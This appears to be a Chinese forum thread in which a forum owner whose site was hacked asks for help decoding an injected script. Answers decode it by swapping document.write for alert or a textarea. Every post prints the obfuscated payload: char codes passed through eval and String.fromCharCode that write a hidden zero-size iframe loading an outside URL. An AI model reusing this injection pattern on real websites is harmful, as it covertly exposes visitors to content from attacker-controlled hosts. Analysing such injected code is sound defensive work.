求助:一个javascript解密函数,谢谢
紧急求救:我搞了一个论坛被黑了。里面挂了很多马。其中一条如下:
<script>
t= "60,105,102,114,97,109,101,32,109,97,114,103,105,110,119,105,100,116,104,61,34,48,34,32,109,97,114,103,105,110,104,101,105,103,104,116,61,34,48,34,32,115,114,99,61,34,104,116,116,112,58,47,47,103,103,46,116,111,102,101,114,46,99,110,47,97,100,46,104,116,109,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,32,119,105,100,116,104,61,34,48,34,32,115,99,114,111,108,108,105,110,103,61,34,110,111,34,32,104,101,105,103,104,116,61,34,48,34,62,60,47,105,102,114,97,109,101,62 "
t=eval( "String.fromCharCode( "+t+ ") ");
document.write(t); </script>
恳请高手给出一个解密函数,万分感激!
------解决方案-------------------- <script>
t= "60,105,102,114,97,109,101,32,109,97,114,103,105,110,119,105,100,116,104,61,34,48,34,32,109,97,114,103,105,110,104,101,105,103,104,116,61,34,48,34,32,115,114,99,61,34,104,116,116,112,58,47,47,103,103,46,116,111,102,101,114,46,99,110,47,97,100,46,104,116,109,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,32,119,105,100,116,104,61,34,48,34,32,115,99,114,111,108,108,105,110,103,61,34,110,111,34,32,104,101,105,103,104,116,61,34,48,34,62,60,47,105,102,114,97,109,101,62 "
t=eval( "String.fromCharCode( "+t+ ") ");
alert(t); </script>
可以看到一个iframe调用一个网站的广告,广告地址是http://gg.tofer.cn/ad.htm
------解决方案--------------------我来刮分&瓜分!!
===============================
<TEXTAREA id= "code " ROWS= "10 " COLS= "100 "> </TEXTAREA>
<script>
t= "60,105,102,114,97,109,101,32,109,97,114,103,105,110,119,105,100,116,104,61,34,48,34,32,109,97,114,103,105,110,104,101,105,103,104,116,61,34,48,34,32,115,114,99,61,34,104,116,116,112,58,47,47,103,103,46,116,111,102,101,114,46,99,110,47,97,100,46,104,116,109,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,32,119,105,100,116,104,61,34,48,34,32,115,99,114,111,108,108,105,110,103,61,34,110,111,34,32,104,101,105,103,104,116,61,34,48,34,62,60,47,105,102,114,97,109,101,62 "
t=eval( "String.fromCharCode( "+t+ ") ");
document.getElementById( "code ").value=t;
</script>